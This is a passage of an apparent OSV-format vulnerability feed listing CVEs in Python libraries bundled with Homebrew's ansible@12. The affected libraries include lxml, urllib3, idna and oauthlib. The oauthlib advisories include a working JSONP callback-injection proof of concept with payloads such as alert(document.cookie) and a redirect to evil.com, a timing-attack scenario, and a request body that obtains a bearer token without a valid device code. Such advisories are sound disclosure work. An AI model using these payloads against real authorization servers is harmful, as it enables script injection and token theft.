show_bug.cgi?id=2448553"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:12176"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13902"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13916"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13917"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:16009"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17083"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19355"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:20588"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22131"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22132"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22133"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22134"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22135"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22969"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/03/20/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-41066","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-vfmq-68hx-4jfw","CVE-2026-41066","PYSEC-2026-87"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.1.0","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files","details":"### Impact\nUsing either of the two parsers in the default configuration (with `resolve_entities=True`) allows untrusted XML input to read local files.\n\n### Patches\nlxml 6.1.0 changes the default to `resolve_entities='internal'`, thus disallowing local file access by default.\n\n### Workarounds\nSetting the `resolve_entities` option explicitly to `resolve_entities='internal'` or `resolve_entities=False` disables the local file access.\n\n### Resources\nOriginal report: https://bugs.launchpad.net/lxml/+bug/2146291\n\nThe default option was changed to `resolve_entities='internal'` for the normal XML and HTML parsers in lxml 5.0. The default was not changed for `iterparse()` and `ETCompatXMLParser()` at the time. lxml 6.1 makes the safe option the default for all parsers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41066"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/2146291"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2026-87.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-44405","published":"2026-08-13T16:35:22Z","modified":"2026-11-08T08:39:42Z","upstream":["GHSA-r374-rxx8-8654","CVE-2026-44405","PYSEC-2026-2858"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.0.0","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.0.0","key":"pkg:pypi/paramiko@5.0.0","resource":"paramiko"}]},"summary":"Paramiko rsakey.py allows the SHA-1 algorithm","details":"In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44405"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/a4489456b6f65281e172380cc4826cee5e851dbb"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r374-rxx8-8654"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2026-2858.yaml"},{"type":"WEB","url":"https://ostif.org/wp-content/uploads/2026/05/25-11-2415-REP_paramiko-security-audit_v1.1.pdf"},{"type":"WEB","url":"https://pypi.org/project/paramiko"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-44431","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-4539","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-45409","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-49264","published":"2026-09-30T18:43:25Z","modified":"2026-10-14T08:46:22Z","upstream":["GHSA-hj66-6f7g-4r5v","CVE-2026-49264","PYSEC-2026-4113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation","details":"### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n    response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n    response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `<script src=\"...\">`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `<script src>` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n    \"\"\"Auth fails -> triggers error response path (lines 72-73).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return True\n    def authenticate_client(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n    \"\"\"Auth passes -> triggers success response path (lines 81-82).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return True\n    def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n    \"alert(document.cookie)//\",\n    \"window.location='https://evil.com/'//\",\n    \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_fail.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_pass.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\", http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\"  [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n  [401] Content-Type: application/json  Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n  [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200] Content-Type: (none)  Body: window.location='https://evil.com/'//();\n  [200] Content-Type: (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n  [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n        request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49264"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/951"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-49265","published":"2026-09-30T18:43:25Z","modified":"2026-10-14T08:46:22Z","upstream":["GHSA-xpv3-w29h-x7cv","CVE-2026-49265","PYSEC-2026-4114"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)","details":"## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n> **Note:** Practical exploitability is limited due to the single-use nature of \n> authorization codes and real-world network noise. However, the vulnerable \n> pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49265"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/963"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-49272","published":"2026-10-28T08:37:24Z","modified":"2026-11-08T08:39:42Z","upstream":["GHSA-3jp2-3mrg-2vxc","CVE-2026-49272"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.1","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"OAuthLib: Bearer token can be retrieved as long as client knows a valid client ID for device workflow","details":"### Summary\nA call to the token endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"` and a bogus `device_code` is able to get a bearer token as long as they know a valid client ID enabled for the device workflow.\n\n### Details\n\n[Section 3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4) says that the token endpoint should take in `device_code` as a required parameter.`DeviceCodeGrant.validate_token_request` does not perform any validation of `device_code`. `DeviceCodeGrant.validate_token_request` should be validating that `device_code` was passed in as a parameter and that it is valid, similar to how `AuthorizationCodeGrant.validate_token_request` does the checks [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446) and [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI would like to propose a new method be added to `RequestValidator` called `validate_device_code` that is similar to the `validate_code` method and is called inside of `DeviceCodeGrant.validate_token_request`.\n\n### PoC\nCreate an implementation of `RequestValidation.authenticate_client` that returns `True` if the client's `client_type` is `\"public\"`. You would find yourself in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request` where it doesn't properly handle public clients (see https://github.com/oauthlib/oauthlib/issues/919).\n\nCreate a client that has a `client_type` of `\"public\"` and set it's `grant_type` to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation of `RequestValidation.authenticate_client` done, use that validator for your token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\": <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n  \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou now have a bearer token for the client without a valid `device_code`.\n\n\n### Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't realize the `device_code` parameter is not being 